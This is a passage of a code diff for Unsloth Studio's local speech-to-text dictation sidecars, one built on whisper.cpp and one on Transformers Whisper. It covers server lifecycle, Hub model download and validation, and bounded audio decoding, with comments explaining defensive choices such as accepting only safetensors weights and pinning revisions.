+    def cancel_pending_load(self) -> bool:
+        # Preempt a starting whisper-server so training does not launch while it
+        # binds accelerator memory. load() holds self._lock for the whole startup,
+        # so act without the lock: signal abort and terminate the starting
+        # process. _wait_for_server observes the event and raises, then load()
+        # reaps the process and releases the lock.
+        if not self._loading:
+            return False
+        event = self._load_cancel_event
+        if event is None:
+            return False
+        event.set()
+        process = self._starting_process
+        if process is not None and process.poll() is None:
+            try:
+                process.terminate()
+            except Exception:
+                pass
+        return True
+
+    def wait_for_load_to_settle(self) -> None:
+        # load() holds self._lock across startup and cancel cleanup, so acquiring
+        # it blocks until a cancelled server is killed, reaped, and its
+        # accelerator memory released.
+        with self._lock:
+            pass
+
+    @staticmethod
+    def _reserve_free_port() -> tuple[socket.socket, int]:
+        """Bind an ephemeral port and keep the socket held.
+
+        The caller closes the reservation immediately before spawning
+        whisper-server, shrinking the window in which another local process
+        could bind the port. SO_REUSEADDR lets the child rebind right after.
+        """
+        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+        s.bind(("127.0.0.1", 0))
+        return s, s.getsockname()[1]
+
+    def _ensure_model_downloaded(self, model_id: str) -> str:
+        path = _cached_model_path(model_id)
+        if path is None:
+            raise SttModelNotDownloadedError(
+                f"STT model '{model_id}' (GGUF) is not downloaded. "
+                "Download it in Settings, then Voice, before loading it."
+            )
+        return path
+
+    def load(self, model: Optional[str] = None) -> None:
+        """Start (or switch) whisper-server for the requested curated model."""
+        self._raise_if_update_in_progress()
+        model_id = resolve_ggml_model_id(model)
+        with self._lock:
+            self._raise_if_update_in_progress()
+            binary = ensure_engine_available()
+            if self._process_alive() and self._model_id == model_id:
+                self._schedule_idle_unload_locked()
+                return
+            model_path = self._ensure_model_downloaded(model_id)
+            self._release_locked()
+            reservation, port = self._reserve_free_port()
+            command = [binary, "-m", model_path, "--host", "127.0.0.1", "--port", str(port)]
+            marker = _whisper_install_marker(binary)
+            if _training_active():
+                # Keep whisper.cpp off the accelerator during training (like the
+                # Transformers sidecar's CPU choice) so a mid-training dictation
+                # cannot reclaim the VRAM training just freed.
+                command.append("--no-gpu")
+            elif marker is not None and marker.get("backend") == "cpu":
+                # A deliberate CPU install must stay CPU: the slim wiring links
+                # every llama ggml backend (including CUDA/ROCm), so without
+                # this flag a cpu-selected install would still grab the GPU.
+                command.append("--no-gpu")
+            logger.info(
+                "Starting whisper-server for STT model %s on 127.0.0.1:%s",
+                model_id,
+                port,
+            )
+            cancel_event = threading.Event()
+            self._load_cancel_event = cancel_event
+            self._loading = True
+            try:
+                # Release the reservation as late as possible: whisper-server
+                # binds the port moments after this close.
+                reservation.close()
+                process = subprocess.Popen(
+                    command,
+                    stdout = subprocess.DEVNULL,
+                    stderr = subprocess.DEVNULL,
+                    stdin = subprocess.DEVNULL,
+                    # Co-located GPU libs on the loader path (WSL system HIP first),
+                    # secrets scrubbed from the downloaded binary's env.
+                    env = _whisper_server_child_env(binary),
+                    # Die with Studio (Linux PDEATHSIG, Windows job) so a crash
+                    # never orphans a server holding the model.
+                    **child_popen_kwargs(),
+                )
+                self._starting_process = process
+                adopt_pid(process.pid)  # terminate_all backstop for graceful exits
+                try:
+                    self._wait_for_server(process, port, cancel_event)
+                except Exception:
+                    if process.poll() is None:
+                        process.kill()
+                        process.wait(timeout = 10)
+                    forget_pid(process.pid)
+                    raise
+                self._process = process
+                self._port = port
+                self._model_id = model_id
+                self._schedule_idle_unload_locked()
+            finally:
+                reservation.close()  # no-op when already released before spawn
+                self._loading = False
+                self._load_cancel_event = None
+                self._starting_process = None
+
+    @staticmethod
+    def _wait_for_server(
+        process: subprocess.Popen,
+        port: int,
+        cancel_event: Optional[threading.Event] = None,
+    ) -> None:
+        deadline = time.monotonic() + _SERVER_START_TIMEOUT_SECONDS
+        while time.monotonic() < deadline:
+            if cancel_event is not None and cancel_event.is_set():
+                raise SttLoadCancelledError(
+                    "GGUF STT model loading was cancelled so training could start."
+                )
+            if process.poll() is not None:
+                raise SttEngineUnavailableError(
+                    "The local transcription runtime exited before becoming "
+                    "ready; the model file may be corrupt or unsupported."
+                )
+            # Require a whisper-server-specific response twice, with the managed
+            # child alive around each probe. An arbitrary local process that won
+            # the bind race would otherwise be mistaken for the sidecar and
+            # receive the user's microphone audio.
+            if GgmlSttSidecar._probe_is_whisper_server(process, port) and (
+                GgmlSttSidecar._probe_is_whisper_server(process, port)
+            ):
+                return
+            time.sleep(0.2)
+        raise SttEngineUnavailableError("The local transcription runtime did not start in time.")
+
+    @staticmethod
+    def _probe_is_whisper_server(process: subprocess.Popen, port: int) -> bool:
+        """One readiness probe: our child is alive and the responder looks like
+        whisper.cpp's server (its index page and errors identify whisper)."""
+        if process.poll() is not None:
+            return False
+        try:
+            req = urllib.request.Request(f"http://127.0.0.1:{port}/", method = "GET")
+            with urllib.request.urlopen(req, timeout = 2) as response:
+                body = response.read(65536)
+        except Exception:
+            return False
+        if process.poll() is not None:
+            return False
+        return b"whisper" in body.lower()
+
+    # -- transcription ------------------------------------------------------
+
+    def transcribe(
+        self,
+        audio: bytes,
+        model: Optional[str] = None,
+        language: Optional[str] = None,
+        fast: bool = False,
+    ) -> dict:
+        """Transcribe encoded audio bytes via whisper-server.
+
+        Accepts any container PyAV can decode (same validation and caps as the
+        Transformers sidecar). Returns {text, language, duration, model}.
+        """
+        self._raise_if_update_in_progress()
+        ensure_engine_available()
+        model_id = resolve_ggml_model_id(model)
+        lang = normalize_whisper_language(language)
+        known_languages = _known_whisper_languages()
+        if lang is not None and known_languages is not None and lang not in known_languages:
+            raise SttLanguageError(
+                f"Language '{language}' is not supported by STT model '{model_id}'."
+            )
+        # Reject a missing model before decoding so a long clip does not burn CPU
+        # only to 409 (matches the Transformers sidecar's preflight).
+        self._ensure_model_downloaded(model_id)
+        decoded_audio = _decode_audio_bounded(audio)
+        wav_bytes = _pcm_to_wav_bytes(decoded_audio)
+        with self._lock:
+            try:
+                self.load(model_id)
+                text = self._post_inference(wav_bytes, lang, fast)
+            finally:
+                self._schedule_idle_unload_locked()
+        duration = (len(decoded_audio) / _TARGET_SAMPLE_RATE) if len(decoded_audio) else None
+        return {
+            "text": text,
+            "language": lang,
+            "duration": duration,
+            "model": model_id,
+        }
+
+    def _post_inference(self, wav_bytes: bytes, lang: Optional[str], fast: bool) -> str:
+        boundary = uuid.uuid4().hex
+        fields = {
+            "temperature": "0.0",
+            "response_format": "json",
+            # Match the Transformers sidecar: 5-way beam search, greedy for fast.
+            "beam_size": "1" if fast else "5",
+            "language": lang or "auto",
+        }
+        parts: list[bytes] = []
+        for name, value in fields.items():
+            parts.append(
+                (
+                    f"--{boundary}\r\nContent-Disposition: form-data; "
+                    f'name="{name}"\r\n\r\n{value}\r\n'
+                ).encode()
+            )
+        parts.append(
+            (
+                f"--{boundary}\r\nContent-Disposition: form-data; "
+                'name="file"; filename="dictation.wav"\r\n'
+                "Content-Type: audio/wav\r\n\r\n"
+            ).encode()
+            + wav_bytes
+            + b"\r\n"
+        )
+        parts.append(f"--{boundary}--\r\n".encode())
+        body = b"".join(parts)
+        req = urllib.request.Request(
+            f"http://127.0.0.1:{self._port}/inference",
+            data = body,
+            headers = {"Content-Type": f"multipart/form-data; boundary={boundary}"},
+        )
+        try:
+            with urllib.request.urlopen(req, timeout = _TRANSCRIBE_TIMEOUT_SECONDS) as resp:
+                payload = json.load(resp)
+        except SttAudioDecodeError:
+            raise
+        except Exception as exc:
+            raise SttEngineUnavailableError(
+                "The local transcription runtime did not answer the request."
+            ) from exc
+        text = payload.get("text")
+        if not isinstance(text, str):
+            raise SttAudioDecodeError("Could not decode the audio.")
+        # whisper.cpp joins segments with newlines; dictation wants one line.
+        return " ".join(part.strip() for part in text.splitlines() if part.strip()).strip()
+
+
+_sidecar: Optional[GgmlSttSidecar] = None
+
+
+def get_ggml_stt_sidecar() -> GgmlSttSidecar:
+    global _sidecar
+    if _sidecar is None:
+        _sidecar = GgmlSttSidecar()
+    return _sidecar
diff --git a/studio/backend/core/inference/stt_sidecar.py b/studio/backend/core/inference/stt_sidecar.py
new file mode 100644
index 0000000000..edf57c16e3
--- /dev/null
+++ b/studio/backend/core/inference/stt_sidecar.py
@@ -0,0 +1,1142 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""
+Standalone speech-to-text (STT) sidecar for dictation.
+
+Loads a Whisper model (via Transformers) in the backend process, separate from
+the chat model's inference subprocess, so dictation works with any chat model
+without evicting it. Curated defaults plus any Transformers-compatible Whisper
+repo; weights come through Studio's Model Hub and stay warm briefly between
+dictations. CUDA runs float16; MPS and CPU run float32.
+"""
+
+from __future__ import annotations
+
+import gc
+import hashlib
+import io
+import json
+import os
+import re
+import threading
+import uuid
+from dataclasses import dataclass
+from pathlib import Path
+from typing import Optional
+
+from loggers import get_logger
+
+logger = get_logger(__name__)
+
+# Multilingual Whisper defaults: stable API/UI id -> Hub repository. A request
+# may instead pass a validated Hugging Face `owner/model` id.
+STT_MODELS: dict[str, str] = {
+    "tiny": "unsloth/whisper-tiny",
+    "base": "unsloth/whisper-base",
+    "small": "unsloth/whisper-small",
+    "large-v3-turbo": "unsloth/whisper-large-v3-turbo",
+    "large-v3": "unsloth/whisper-large-v3",
+}
+DEFAULT_STT_MODEL = "small"
+STT_KEEP_ALIVE_SECONDS = 5 * 60
+_HF_REPO_ID = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._-]{0,95}/[A-Za-z0-9][A-Za-z0-9._-]{0,95}$")
+_HF_COMMIT_SHA = re.compile(r"^[0-9a-f]{40}$")
+
+# Bound decoded PCM length so a crafted upload cannot exhaust memory (callers
+# also cap the encoded bytes).
+_MAX_AUDIO_SECONDS = 30 * 60
+_TARGET_SAMPLE_RATE = 16000
+
+# Non-weight files WhisperProcessor/WhisperForConditionalGeneration may load.
+# Weight selection is built from pinned Hub metadata. A custom repo id is
+# attacker-controllable, so only safetensors weights are accepted: a
+# pytorch_model.bin is a pickle and executes code while Transformers
+# deserializes it (see utils/security/file_security.py), and this path skips
+# the malware gate the normal model loader applies.
+_STT_SNAPSHOT_SUPPORT_FILES = (
+    "config.json",
+    "generation_config.json",
+    "preprocessor_config.json",
+    "processor_config.json",
+    "tokenizer.json",
+    "tokenizer_config.json",
+    "vocab.json",
+    "merges.txt",
+    "normalizer.json",
+    "special_tokens_map.json",
+    "added_tokens.json",
+)
+_STT_SAFETENSORS_INDEX = "model.safetensors.index.json"
+_STT_SAFETENSORS_WEIGHTS = "model.safetensors"
+_STT_REVISION_RECORD_VERSION = 1
+
+
+@dataclass(frozen = True)
+class _SelectedHubFile:
+    path: str
+    size: int
+    blob_key: Optional[str]
+
+
+@dataclass(frozen = True)
+class _CachedSttSnapshot:
+    path: Optional[Path]
+    is_multilingual: Optional[bool]
+
+
+class SttUnavailableError(RuntimeError):
+    """The STT backend (PyTorch/Transformers or PyAV) is not installed."""
+
+
+class SttLoadCancelledError(RuntimeError):
+    """An in-flight STT model load was cancelled for training."""
+
+
+class SttModelNotDownloadedError(RuntimeError):
+    """The selected model is not complete in the shared Hub cache."""
+
+
+class SttModelIdError(ValueError):
+    """The requested custom model is not a valid Hugging Face repository id."""
+
+
+class SttModelCompatibilityError(ValueError):
+    """The requested repository is not a Transformers Whisper checkpoint."""
+
+
+class SttAudioDecodeError(ValueError):
+    """The uploaded bytes could not be decoded as audio."""
+
+
+class SttAudioTooLongError(ValueError):
+    """The decoded audio exceeds the bounded transcription duration."""
+
+
+class SttLanguageError(ValueError):
+    """The requested language is not supported by the selected STT model."""
+
+
+_WHISPER_LANGUAGE_ALIASES = {
+    # Legacy/browser BCP-47 primaries whose Whisper code differs.
+    "cmn": "zh",
+    "fil": "tl",
+    "in": "id",
+    "iw": "he",
+    "ji": "yi",
+    "nb": "no",
+    "nn": "no",
+}
+
+
+def normalize_whisper_language(language: Optional[str]) -> Optional[str]:
+    """Convert a BCP-47 locale into the short code Whisper expects."""
+    if not language:
+        return None
+    normalized = language.strip().replace("_", "-").lower()
+    if not normalized or normalized == "auto":
+        return None
+    primary = normalized.split("-", 1)[0]
+    return _WHISPER_LANGUAGE_ALIASES.get(primary, primary)
+
+
+def _known_whisper_languages() -> Optional[frozenset[str]]:
+    """Return Whisper's language codes without constructing/loading a model."""
+    try:
+        from transformers.models.whisper.tokenization_whisper import LANGUAGES
+    except Exception:
+        # Transformers unavailable or the constant moved: skip the check.
+        return None
+    return frozenset(LANGUAGES)
+
+
+def ensure_stt_available() -> None:
+    """Raise when the complete local Whisper backend cannot be imported."""
+    try:
+        import av  # noqa: F401
+        import torch  # noqa: F401
+        import transformers  # noqa: F401
+    except Exception as exc:
+        raise SttUnavailableError(
+            "Speech-to-text needs PyTorch, Transformers, and PyAV. "
+            "Run `unsloth studio update` to install them."
+        ) from exc
+
+
+def is_available() -> bool:
+    """True when the complete local Whisper backend can be imported."""
+    try:
+        ensure_stt_available()
+    except SttUnavailableError:
+        return False
+    return True
+
+
+def resolve_model_id(model: Optional[str]) -> str:
+    """Resolve a curated id or validate a custom Hugging Face repository."""
+    if not model:
+        return DEFAULT_STT_MODEL
+    normalized = model.strip()
+    if normalized in STT_MODELS:
+        return normalized
+    if _HF_REPO_ID.fullmatch(normalized):
+        return normalized
+    raise SttModelIdError(
+        "STT model must be one of Studio's defaults or a Hugging Face "
+        "repository in 'owner/model' form."
+    )
+
+
+def resolve_model_repo(model_id: str) -> str:
+    """Return the Hub repository for a curated or custom model id."""
+    resolved = resolve_model_id(model_id)
+    return STT_MODELS.get(resolved, resolved)
+
+
+def _is_whisper_config(config: object) -> bool:
+    """True when Hub/local config metadata identifies a Whisper ASR model."""
+    if not isinstance(config, dict):
+        return False
+    model_type = config.get("model_type")
+    if isinstance(model_type, str) and model_type.strip().lower() == "whisper":
+        return True
+    architectures = config.get("architectures")
+    return isinstance(architectures, list) and any(
+        isinstance(name, str) and name == "WhisperForConditionalGeneration"
+        for name in architectures
+    )
+
+
+def _read_json_object(path: Path) -> dict:
+    try:
+        with open(path, "r", encoding = "utf-8") as file:
+            value = json.load(file)
+        return value if isinstance(value, dict) else {}
+    except Exception:
+        return {}
+
+
+def _active_hf_hub_cache() -> Path:
+    """Return the active Hub cache while respecting runtime test overrides."""
+    explicit = (os.environ.get("HF_HUB_CACHE") or "").strip()
+    if explicit:
+        return Path(explicit).expanduser()
+    hf_home = (os.environ.get("HF_HOME") or "").strip()
+    if hf_home:
+        return Path(hf_home).expanduser() / "hub"
+    from huggingface_hub.constants import HF_HUB_CACHE
+
+    return Path(HF_HUB_CACHE)
+
+
+def _repo_cache_dir(repo: str) -> Path:
+    return _active_hf_hub_cache() / f"models--{repo.replace('/', '--')}"
+
+
+def _revision_record_path(repo: str) -> Path:
+    from utils.paths.storage_roots import cache_root
+    digest = hashlib.sha256(repo.encode("utf-8")).hexdigest()
+    return cache_root() / "stt-revisions" / f"{digest}.json"
+
+
+def _write_revision_record(repo: str, revision: str) -> None:
+    """Persist immutable identity only, never an HF-cache absolute path."""
+    if not _HF_COMMIT_SHA.fullmatch(revision):
+        return
+    path = _revision_record_path(repo)
+    tmp = path.with_name(f".{path.name}.tmp-{uuid.uuid4().hex[:8]}")
+    try:
+        path.parent.mkdir(parents = True, exist_ok = True)
+        with tmp.open("w", encoding = "utf-8") as handle:
+            json.dump(
+                {
+                    "version": _STT_REVISION_RECORD_VERSION,
+                    "repo": repo,
+                    "revision": revision,
+                },
+                handle,
+            )
+            handle.flush()
+            os.fsync(handle.fileno())
+        os.replace(tmp, path)
+    except OSError as exc:
+        logger.debug("Could not persist STT revision for %s: %s", repo, exc)
+        try:
+            tmp.unlink(missing_ok = True)
+        except OSError:
+            pass
+
+
+def _read_revision_record(repo: str) -> Optional[str]:
+    payload = _read_json_object(_revision_record_path(repo))
+    if payload.get("version") != _STT_REVISION_RECORD_VERSION or payload.get("repo") != repo:
+        return None
+    revision = payload.get("revision")
+    return revision if isinstance(revision, str) and _HF_COMMIT_SHA.fullmatch(revision) else None
+
+
+def _safe_snapshot_for_revision(repo: str, revision: str) -> Optional[Path]:
+    """Resolve a canonical SHA below this repository's active snapshots dir."""
+    if not _HF_COMMIT_SHA.fullmatch(revision):
+        return None
+    snapshots = _repo_cache_dir(repo) / "snapshots"
+    candidate = snapshots / revision
+    try:
+        snapshots_resolved = snapshots.resolve()
+        candidate_resolved = candidate.resolve()
+    except (OSError, RuntimeError):
+        return None
+    if snapshots_resolved not in candidate_resolved.parents or not candidate_resolved.is_dir():
+        return None
+    return candidate_resolved
+
+
+def _snapshot_usable(model_id: str, snapshot: Path) -> bool:
+    if not _snapshot_is_complete(snapshot):
+        return False
+    if model_id not in STT_MODELS:
+        return _is_whisper_config(_read_json_object(snapshot / "config.json"))
+    return True
+
+
+def _find_complete_cached_snapshot(model: Optional[str]) -> Optional[Path]:
+    """Find one complete local snapshot without contacting the Hub."""
+    model_id = resolve_model_id(model)
+    repo = resolve_model_repo(model_id)
+
+    recorded = _read_revision_record(repo)
+    if recorded:
+        snapshot = _safe_snapshot_for_revision(repo, recorded)
+        if snapshot is not None and _snapshot_usable(model_id, snapshot):
+            return snapshot
+
+    ref = _repo_cache_dir(repo) / "refs" / "main"
+    try:
+        revision = ref.read_text(encoding = "utf-8").strip()
+    except OSError:
+        revision = ""
+    snapshot = _safe_snapshot_for_revision(repo, revision)
+    if snapshot is not None and _snapshot_usable(model_id, snapshot):
+        _write_revision_record(repo, revision)
+        return snapshot
+
+    snapshots = _repo_cache_dir(repo) / "snapshots"
+    try:
+        revisions = sorted(
+            (
+                (path.stat().st_mtime_ns, path.name)
+                for path in snapshots.iterdir()
+                if path.is_dir() and _HF_COMMIT_SHA.fullmatch(path.name)
+            ),
+            reverse = True,
+        )
+    except OSError:
+        return None
+    for _mtime, revision in revisions:
+        snapshot = _safe_snapshot_for_revision(repo, revision)
+        if snapshot is not None and _snapshot_usable(model_id, snapshot):
+            _write_revision_record(repo, revision)
+            return snapshot
+    return None
+
+
+def _selected_file_from_sibling(sibling) -> _SelectedHubFile:
+    lfs = getattr(sibling, "lfs", None)
+    blob_key = getattr(lfs, "sha256", None) or getattr(sibling, "blob_id", None)
+    return _SelectedHubFile(
+        path = sibling.rfilename,
+        size = max(0, int(getattr(sibling, "size", 0) or 0)),
+        blob_key = blob_key if isinstance(blob_key, str) and blob_key else None,
+    )
+
+
+def _select_snapshot_files(info, load_index) -> tuple[_SelectedHubFile, ...]:
+    """Select support files and one complete safetensors weight set. Pickle
+    (pytorch_model.bin) weights are never selected: they are an RCE sink on a
+    custom repo id (see _STT_SNAPSHOT_SUPPORT_FILES)."""
+    siblings = {
+        sibling.rfilename: sibling
+        for sibling in (getattr(info, "siblings", None) or [])
+        if isinstance(getattr(sibling, "rfilename", None), str)
+    }
+    selected = {name for name in _STT_SNAPSHOT_SUPPORT_FILES if name in siblings}
+
+    index_name: Optional[str] = None
+    if _STT_SAFETENSORS_INDEX in siblings:
+        index_name = _STT_SAFETENSORS_INDEX
+    elif _STT_SAFETENSORS_WEIGHTS in siblings:
+        selected.add(_STT_SAFETENSORS_WEIGHTS)
+    else:
+        raise SttModelCompatibilityError(
+            "The STT repository has no safetensors model weights. Only safetensors "
+            "checkpoints are supported; convert the model with save_pretrained(safe_serialization=True)."
+        )
+
+    if index_name is not None:
+        weight_map = load_index(index_name).get("weight_map")
+        if not isinstance(weight_map, dict) or not weight_map:
+            raise SttModelCompatibilityError(f"Invalid checkpoint index '{index_name}'.")
+        shards = set(weight_map.values())
+        if not all(isinstance(shard, str) and shard in siblings for shard in shards):
+            raise SttModelCompatibilityError(f"Checkpoint index '{index_name}' has missing shards.")
+        # The index JSON is attacker-controlled: a safetensors index can name
+        # pytorch_model-*.bin shards, which Transformers still loads through
+        # torch.load (pickle) since it dispatches per shard by file extension.
+        # Require every shard to be safetensors so no pickle file is selected.
+        if not all(shard.endswith(".safetensors") for shard in shards):
+            raise SttModelCompatibilityError(
+                f"Checkpoint index '{index_name}' references non-safetensors shards."
+            )
+        selected.add(index_name)
+        selected.update(shards)
+
+    return tuple(_selected_file_from_sibling(siblings[name]) for name in sorted(selected))
+
+
+def validate_remote_model(model: Optional[str], hf_token: Optional[str] = None) -> dict:
+    """Verify a custom Hub repository is Whisper-compatible without downloading weights."""
+    model_id = resolve_model_id(model)
+    repo = resolve_model_repo(model_id)
+    if model_id in STT_MODELS:
+        return {"model": model_id, "repo": repo}
+
+    try:
+        from huggingface_hub import HfApi
+        info = HfApi(token = hf_token or False).model_info(
+            repo,
+            expand = ["config", "sha"],
+            timeout = 10,
+        )
+    except Exception as exc:
+        raise SttModelCompatibilityError(
+            f"Could not verify STT model '{model_id}'. "
+            "Check that the repository exists and your Hugging Face token can access it."
+        ) from exc
+
+    if not _is_whisper_config(getattr(info, "config", None)):
+        raise SttModelCompatibilityError(
+            f"STT model '{model_id}' is not a compatible Transformers Whisper model."
+        )
+    revision = getattr(info, "sha", None)
+    if not isinstance(revision, str) or not _HF_COMMIT_SHA.fullmatch(revision):
+        raise SttModelCompatibilityError(
+            f"Could not resolve an immutable revision for STT model '{model_id}'."
+        )
+    # The commit that was validated; the download pins to it so the repo cannot
+    # be swapped between validation and snapshot_download (TOCTOU).
+    return {"model": model_id, "repo": repo, "revision": revision}
+
+
+def _is_missing_local_model_error(exc: BaseException) -> bool:
+    """Recognize a local-cache-only miss by name/message, without importing HF
+    internals (tolerates huggingface_hub/Transformers moving the exception)."""
+    current: Optional[BaseException] = exc
+    seen: set[int] = set()
+    while current is not None and id(current) not in seen:
+        seen.add(id(current))
+        if type(current).__name__ in ("LocalEntryNotFoundError", "EntryNotFoundError"):
+            return True
+        message = str(current).lower()
+        if "local_files_only" in message or "does not appear to have a file" in message:
+            return True
+        current = current.__cause__ or current.__context__
+    return False
+
+
+def _snapshot_is_complete(snapshot: Path) -> bool:
+    """True when a cached snapshot holds every file loading needs.
+
+    An aborted download can leave only metadata behind, and an offline lookup
+    cannot know the repo's full file list, so verify config, preprocessor,
+    tokenizer, and weights directly. is_file() follows cache symlinks, so a
+    link from an interrupted blob download does not count.
+    """
+    # Safetensors only: a cached pytorch_model.bin is a pickle load path and is
+    # never treated as a usable snapshot (a repo shipping only pickle weights
+    # re-resolves and fails closed in _select_snapshot_files).
+    index = snapshot / _STT_SAFETENSORS_INDEX
+    if index.is_file():
+        # Sharded safetensors checkpoint: every shard must exist and be
+        # safetensors (a safe index naming .bin shards would still pickle-load
+        # them, matching the _select_snapshot_files guard).
+        weight_map = _read_json_object(index).get("weight_map")
+        if not isinstance(weight_map, dict) or not weight_map:
+            return False
+        shards = set(weight_map.values())
+        if not all(isinstance(shard, str) and shard.endswith(".safetensors") for shard in shards):
+            return False
+        has_weights = all((snapshot / shard).is_file() for shard in shards)
+    else:
+        has_weights = (snapshot / _STT_SAFETENSORS_WEIGHTS).is_file()
+    # WhisperProcessor needs the tokenizer: either the fast tokenizer.json or
+    # the slow vocab.json + merges.txt pair.
+    has_tokenizer = (snapshot / "tokenizer.json").is_file() or (
+        (snapshot / "vocab.json").is_file() and (snapshot / "merges.txt").is_file()
+    )
+    return (
+        has_weights
+        and has_tokenizer
+        and (snapshot / "config.json").is_file()
+        and (snapshot / "preprocessor_config.json").is_file()
+    )
+
+
+def is_model_downloaded(model: Optional[str]) -> bool:
+    """True when a usable Whisper snapshot exists in the local HF cache."""
+    try:
+        return _find_complete_cached_snapshot(model) is not None
+    except Exception:
+        return False
+
+
+class _SnapshotDownloadState:
+    """Tracks one background snapshot_download of a dictation repository.
+
+    Like stt_ggml_sidecar's tracker, but a Transformers checkpoint is a whole
+    repo, so progress is the byte count of its cache blobs.
+    """
+
+    def __init__(self) -> None:
+        self._lock = threading.Lock()
+        self._thread: Optional[threading.Thread] = None
+        self._model_id: Optional[str] = None
+        self._repo: Optional[str] = None
+        self._error: Optional[str] = None
+        self._total_bytes: Optional[int] = None
+        self._selected_files: tuple[_SelectedHubFile, ...] = ()
+        self._complete = False
+
+    def status(self) -> dict:
+        with self._lock:
+            downloading = self._thread is not None and self._thread.is_alive()
+            show_progress = downloading or self._complete
+            return {
+                "downloading": downloading,
+                "model": self._model_id if downloading else None,
+                "error": self._error,
+                "bytes_total": self._total_bytes if show_progress else None,
+                "bytes_done": self._blob_bytes() if show_progress else None,
+            }
+
+    def _blob_bytes(self) -> Optional[int]:
+        """Best-effort progress: bytes in the repo's HF cache blobs.
+
+        Counts only the selected support files and one selected weight format,
+        including in-progress ``.incomplete`` blobs.
+        """
+        try:
+            # Caller may hold the non-reentrant self._lock; a bare read is safe.
+            repo = self._repo
+            selected_files = self._selected_files
+            if not repo or not selected_files:
+                return None
+            blobs = _repo_cache_dir(repo) / "blobs"
+            if not blobs.is_dir():
+                return 0
+            done = 0
+            for selected in selected_files:
+                if not selected.blob_key:
+                    continue
+                complete = blobs / selected.blob_key
+                incomplete = blobs / f"{selected.blob_key}.incomplete"
+                candidate = complete if complete.is_file() else incomplete
+                if candidate.is_file():
+                    done += min(candidate.stat().st_size, selected.size)
+            total = self._total_bytes
+            return min(done, total) if total is not None else done
+        except Exception:
+            return None
+
+    def start(
+        self,
+        model_id: str,
+        hf_token: Optional[str] = None,
+        revision: Optional[str] = None,
+    ) -> None:
+        model_id = resolve_model_id(model_id)
+        with self._lock:
+            if self._thread is not None and self._thread.is_alive():
+                if self._model_id == model_id:
+                    return
+                raise SttModelIdError(
+                    f"Another dictation model ('{self._model_id}') is still "
+                    "downloading; wait for it to finish."
+                )
+            self._model_id = model_id
+            self._repo = resolve_model_repo(model_id)
+            self._error = None
+            self._total_bytes = None
+            self._selected_files = ()
+            self._complete = False
+            thread = threading.Thread(
+                target = self._run, args = (self._repo, hf_token, revision), daemon = True
+            )
+            self._thread = thread
+            thread.start()
+
+    def _run(
+        self,
+        repo: str,
+        hf_token: Optional[str],
+        revision: Optional[str] = None,
+    ) -> None:
+        try:
+            from huggingface_hub import HfApi, hf_hub_download, snapshot_download
+
+            info = HfApi(token = hf_token or None).model_info(
+                repo,
+                revision = revision,
+                files_metadata = True,
+                timeout = 30,
+            )
+            if not revision:
+                revision = getattr(info, "sha", None)
+            if not isinstance(revision, str) or not _HF_COMMIT_SHA.fullmatch(revision):
+                raise SttModelCompatibilityError(
+                    f"Could not resolve an immutable revision for STT model '{repo}'."
+                )
+
+            def load_index(filename: str) -> dict:
+                path = hf_hub_download(
+                    repo_id = repo,
+                    filename = filename,
+                    revision = revision,
+                    token = hf_token or None,
+                )
+                return _read_json_object(Path(path))
+
+            selected_files = _select_snapshot_files(info, load_index)
+            total = sum(selected.size for selected in selected_files)
+            with self._lock:
+                self._selected_files = selected_files
+                self._total_bytes = total or None
+            snapshot = Path(
+                snapshot_download(
+                    repo_id = repo,
+                    revision = revision,
+                    allow_patterns = [selected.path for selected in selected_files],
+                    token = hf_token or None,
+                )
+            )
+            if not _snapshot_is_complete(snapshot):
+                raise SttModelCompatibilityError(
+                    f"Downloaded STT snapshot for '{repo}' is incomplete."
+                )
+            _write_revision_record(repo, revision)
+            with self._lock:
+                self._complete = True
+        except Exception as exc:
+            logger.warning("STT snapshot download failed for %s: %s", repo, exc)
+            with self._lock:
+                self._error = f"Download failed for '{repo}'."
+
+
+_download_state = _SnapshotDownloadState()
+
+
+def start_model_download(
+    model: Optional[str],
+    hf_token: Optional[str] = None,
+    revision: Optional[str] = None,
+) -> None:
+    _download_state.start(resolve_model_id(model), hf_token, revision = revision)
+
+
+def download_status() -> dict:
+    return _download_state.status()
+
+
+def _training_active() -> bool:
+    try:
+        from core.training import get_training_backend
+        return bool(get_training_backend().is_training_active())
+    except Exception:
+        return False
+
+
+def _clear_device_cache(device: Optional[str]) -> None:
+    gc.collect()
+    try:
+        import torch
+        if device == "cuda":
+            torch.cuda.empty_cache()
+        elif device == "mps":
+            torch.mps.empty_cache()
+    except Exception:
+        pass
+
+
+def _pick_device():
+    """Return (device, torch_dtype) for the Whisper model.
+
+    CUDA uses float16. MPS and CPU use float32: Whisper's decoder is unstable in
+    float16 on MPS and degenerates into repeated tokens.
+    """
+    try:
+        import torch
+
+        # New loads use CPU during training; a resident GPU model may stay put
+        # when the training admission check confirms enough headroom.
+        training_active = _training_active()
+        if not training_active and torch.cuda.is_available():
+            return "cuda", torch.float16
+        if (
+            not training_active
+            and getattr(torch.backends, "mps", None) is not None
+            and torch.backends.mps.is_available()
+        ):
+            return "mps", torch.float32
+        return "cpu", torch.float32
+    except Exception as exc:
+        logger.debug("STT device detection failed, using CPU: %s", exc)
+        import torch
+        return "cpu", torch.float32
+
+
+def _decode_audio_bounded(audio: bytes):
+    """Decode to 16 kHz mono PCM without buffering unbounded audio.
+
+    A small, highly-compressed upload can expand far past the encoded request
+    limit once decoded, so decode frame-by-frame and enforce the sample cap as
+    frames arrive, then hand the array straight to Whisper.
+    """
+    try:
+        import av
+        import numpy as np
+        from av.error import FFmpegError, InvalidDataError
+    except ImportError as exc:
+        raise SttUnavailableError(
+            "Speech-to-text needs the PyAV package to decode audio. "
+            "Run `unsloth studio update` to install it."
+        ) from exc
+
+    max_samples = _MAX_AUDIO_SECONDS * _TARGET_SAMPLE_RATE
+    sample_count = 0
+    raw_buffer = io.BytesIO()
+    resampler = av.audio.resampler.AudioResampler(
+        format = "s16",
+        layout = "mono",
+        rate = _TARGET_SAMPLE_RATE,
+    )
+    # Group frames before resampling so short clips need one resampler call
+    # rather than one per codec frame.
+    fifo = av.audio.fifo.AudioFifo()
+
+    def write_frame(frame) -> None:
+        nonlocal sample_count
+        array = frame.to_ndarray()
+        sample_count += array.size
+        if sample_count > max_samples:
